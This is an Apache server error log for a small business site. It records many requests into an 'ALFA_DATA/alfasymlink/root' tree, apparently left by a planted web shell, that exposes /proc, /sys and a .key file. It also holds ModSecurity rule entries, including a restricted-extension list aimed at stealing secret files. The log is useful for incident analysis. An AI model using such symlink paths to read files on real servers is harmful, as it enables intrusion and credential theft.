[Mon Oct 26 20:30:10.433081 2026] [core:crit] [pid 3084053:tid 3084053] (13)Permission denied: [client 34.194.233.48:2574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Mon Oct 26 20:30:10.441425 2026] [core:crit] [pid 3084053:tid 3084053] (13)Permission denied: [client 34.194.233.48:2574] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Mon Oct 26 20:30:22.173112 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 44.214.19.8:31685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/pci/devices/0000:00:03.0/driver/bind
[Mon Oct 26 20:30:42.280290 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 52.204.81.148:65143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/LNXCPU:00/physical_node/node0/memory16/node0/cpu0/crash_notes
[Mon Oct 26 20:30:54.187968 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 184.73.239.35:18090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0C0F:03/subsystem/drivers/button/unbind
[Mon Oct 26 20:30:56.394817 2026] [security2:error] [pid 3083765:tid 3083765] [client 101.33.81.73:48876] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at_wwKFL9aMETz-8AU8hiAAAAAQ"], referer: http://sherwinpinturas.com
[Mon Oct 26 20:30:56.431610 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 101.33.81.73:48876] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 20:30:58.321044 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.219.81.66:59235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:31:00.372118 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.201:36846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slabs_cpu_partial
[Mon Oct 26 20:31:18.428987 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.175.228:17876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:31:20.074415 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 85.208.96.195:43886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/sanity_checks
[Mon Oct 26 20:31:22.205434 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.192.67.98:6423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:31:30.192581 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.230.224.6:47740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:31:50.260338 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.164.106.236:39665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:31:58.283726 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.152.163.42:52781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:32:06.380468 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 54.235.172.96:52850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/firmware_node/device:02/subsystem/drivers/ac/bind
[Mon Oct 26 20:32:10.274106 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 3.214.176.44:52076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/subsystem/mice/subsystem/event1/device/device/driver/uevent
[Mon Oct 26 20:32:10.274592 2026] [security2:error] [pid 3117428:tid 3117428] [client 3.214.176.44:52076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/subsystem/mice/subsystem/event1/device/device/driver/uevent"] [unique_id "at_xCiWN_iofYZIHyv48QAAAAAs"]
[Mon Oct 26 20:32:10.274624 2026] [security2:error] [pid 3117428:tid 3117428] [client 3.214.176.44:52076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/subsystem/mice/subsystem/event1/device/device/driver/uevent"] [unique_id "at_xCiWN_iofYZIHyv48QAAAAAs"]
[Mon Oct 26 20:32:18.329336 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.213.213.161:20710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:32:42.258768 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.226.106.93:50032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:32:50.174320 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.196.6.199:38993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:32:54.159847 2026] [ssl:error] [pid 3100940:tid 3100940] (5)Input/output error: [client 100.29.155.89:33593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:02.181027 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.71.216.196:27329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:06.258594 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.225.45.252:33746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:22.268049 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.225.81.20:56304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:35.372856 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 85.208.96.209:39298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:38.240977 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.227.156.153:54802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:33:54.182696 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.2.58.41:51125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:34:02.364157 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 52.70.209.13:58973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/subsystem/drivers_probe
[Mon Oct 26 20:34:09.230270 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.10:41460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/net2ftp/php81/install.php"] [unique_id "at_xgbHarSgES5WqcDhI7AAAAAU"]
[Mon Oct 26 20:34:09.230307 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.10:41460] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/net2ftp/php81/install.php"] [unique_id "at_xgbHarSgES5WqcDhI7AAAAAU"]
[Mon Oct 26 20:34:26.263845 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 107.23.62.75:65514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:34:31.139210 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.6.232.201:10037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:34:42.171106 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.93.98.99:2245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:34:48.530448 2026] [security2:error] [pid 3128624:tid 3128624] [client 85.208.96.197:64770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle29/edit.php"] [unique_id "at_xqC-AKBd00cmosRNIAgAAAAE"]
[Mon Oct 26 20:34:48.530491 2026] [security2:error] [pid 3128624:tid 3128624] [client 85.208.96.197:64770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle29/edit.php"] [unique_id "at_xqC-AKBd00cmosRNIAgAAAAE"]
[Mon Oct 26 20:34:50.362267 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.221.222.168:1339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:34:58.410728 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 100.29.155.89:37923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event3/subsystem/input1/device/driver/unbind
[Mon Oct 26 20:35:02.393531 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 34.205.163.103:48952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/resource0
[Mon Oct 26 20:35:06.345977 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 52.4.238.8:30686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/subsystem/devices/cpu1/node0/memory13/subsystem/uevent
[Mon Oct 26 20:35:19.255275 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 44.207.207.36:47993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:35:30.328222 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.217.171.106:44010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:35:31.299751 2026] [security2:error] [pid 3084053:tid 3084053] [client 107.172.76.131:56924] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_xxPCtl1PgaN9A_9xNgwAAADQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 20:35:31.299809 2026] [security2:error] [pid 3084053:tid 3084053] [client 107.172.76.131:56924] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_xxPCtl1PgaN9A_9xNgwAAADQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 20:35:37.436031 2026] [security2:error] [pid 3128624:tid 3128624] [client 129.226.174.80:45772] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/farma2/"] [unique_id "at_x2S-AKBd00cmosRNIBAAAAAE"]
[Mon Oct 26 20:35:58.211723 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 35.169.119.108:5911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:14.171114 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.230.69.161:28551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:22.554592 2026] [security2:error] [pid 3122519:tid 3122519] [client 185.191.171.9:43092] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/local/csp/data/cspfwd2.key"] [unique_id "at_yBsSPa3-L2OSmntaI4wAAAAI"]
[Mon Oct 26 20:36:22.555008 2026] [security2:error] [pid 3122519:tid 3122519] [client 185.191.171.9:43092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/local/csp/data/cspfwd2.key"] [unique_id "at_yBsSPa3-L2OSmntaI4wAAAAI"]
[Mon Oct 26 20:36:22.555578 2026] [security2:error] [pid 3122519:tid 3122519] [client 185.191.171.9:43092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/local/csp/data/cspfwd2.key"] [unique_id "at_yBsSPa3-L2OSmntaI4wAAAAI"]
[Mon Oct 26 20:36:30.201085 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.82.63.147:60976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:34.198548 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 98.83.226.125:42496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:38.287073 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.4.76.156:56762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:42.521611 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 50.16.248.61:32457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:46.213561 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.29.128.75:21741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:36:58.291177 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.232.39.98:62642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:37:02.204269 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.225.81.20:32848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:37:06.177968 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.234.197.175:54993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:37:34.399647 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.222.190.107:61492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:37:37.299292 2026] [security2:error] [pid 3117426:tid 3117426] [client 185.191.171.9:55246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/devlink"] [unique_id "at_yUf5ZEdGRoel0j8fe5wAAAAg"]
[Mon Oct 26 20:37:37.299337 2026] [security2:error] [pid 3117426:tid 3117426] [client 185.191.171.9:55246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/devlink"] [unique_id "at_yUf5ZEdGRoel0j8fe5wAAAAg"]
[Mon Oct 26 20:37:42.340336 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.225.87.80:13451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:37:44.670642 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.197:44360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/free_calls
[Mon Oct 26 20:38:06.203777 2026] [ssl:error] [pid 3098113:tid 3098113] (5)Input/output error: [client 34.206.249.188:36126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:10.190117 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.220.70.171:22314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:14.299386 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.90.73.206:57772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:22.276261 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 52.21.62.139:64457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:02/subsystem/drivers/hpet/bind
[Mon Oct 26 20:38:24.718017 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 85.208.96.201:12436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/total_objects
[Mon Oct 26 20:38:30.188340 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.221.227.90:49133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:34.239076 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.215.235.20:29815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:38.206640 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 54.83.56.1:30392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource1
[Mon Oct 26 20:38:42.367775 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.203.237.170:13906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:50.327788 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.21.204.95:54479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:38:54.261871 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.204.174.139:2829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:39:06.202002 2026] [security2:error] [pid 3098114:tid 3098114] [client 191.95.128.208:10479] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_yqoU8RArHmY5bTmWvUwAAAAY"], referer: https://five.co.in/redirect.php?ref_host=gonzalez-fernandez.net
[Mon Oct 26 20:39:06.203310 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 191.95.128.208:10479] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=gonzalez-fernandez.net
[Mon Oct 26 20:39:18.337514 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.93.98.99:12473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:39:22.393168 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.153.86.200:46565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:39:34.219044 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.235.158.162:21888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:39:42.288207 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.80.130.239:41463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:39:50.434183 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.235.215.92:43904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:02.323421 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.21.179.27:3322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:10.454628 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 100.29.160.53:3506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:18.190420 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.224.215.150:52390] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:34.194989 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.213.70.100:31647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:38.378330 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.83.180.239:43174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:39.046956 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 85.208.96.199:19936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/object_size
[Mon Oct 26 20:40:42.232581 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.205.180.155:34383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:44.390844 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 85.208.96.199:19950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:40:46.291887 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 34.235.239.240:22121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0501:00/subsystem/drivers_probe
[Mon Oct 26 20:40:58.186971 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.21.250.48:26820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:02.166479 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.211.105.134:25177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:08.700347 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.16:17828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/cpu_partial
[Mon Oct 26 20:41:10.326140 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 184.73.239.35:2566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/pci/devices/0000:00:03.0/rescan
[Mon Oct 26 20:41:18.244393 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.22.87.224:43334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:26.166167 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.102.85:4470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:30.156947 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.232.39.98:3535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:42.192118 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.217.255.167:32156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:46.171653 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.207.207.36:22245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:41:50.193526 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 100.29.164.178:33421] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:02.173044 2026] [ssl:error] [pid 3128624:tid 3128624] (22)Invalid argument: [client 52.44.174.136:40785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:06.183239 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.230.224.6:33014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:10.139634 2026] [ssl:error] [pid 3083765:tid 3083765] (5)Input/output error: [client 44.213.202.136:32803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:22.227037 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.213.102.186:12180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:42.143593 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 18.232.36.1:57416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/physical_node/crash_notes_size
[Mon Oct 26 20:42:46.146792 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.156.55.147:55000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:42:52.081173 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.124517 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.166388 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.207321 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 20:42:52.248915 2026] [proxy_fcgi:error] [pid 3098113:tid 3098113] [client 52.139.34.95:39103] AH01071: Got error 'Primary script unknown'
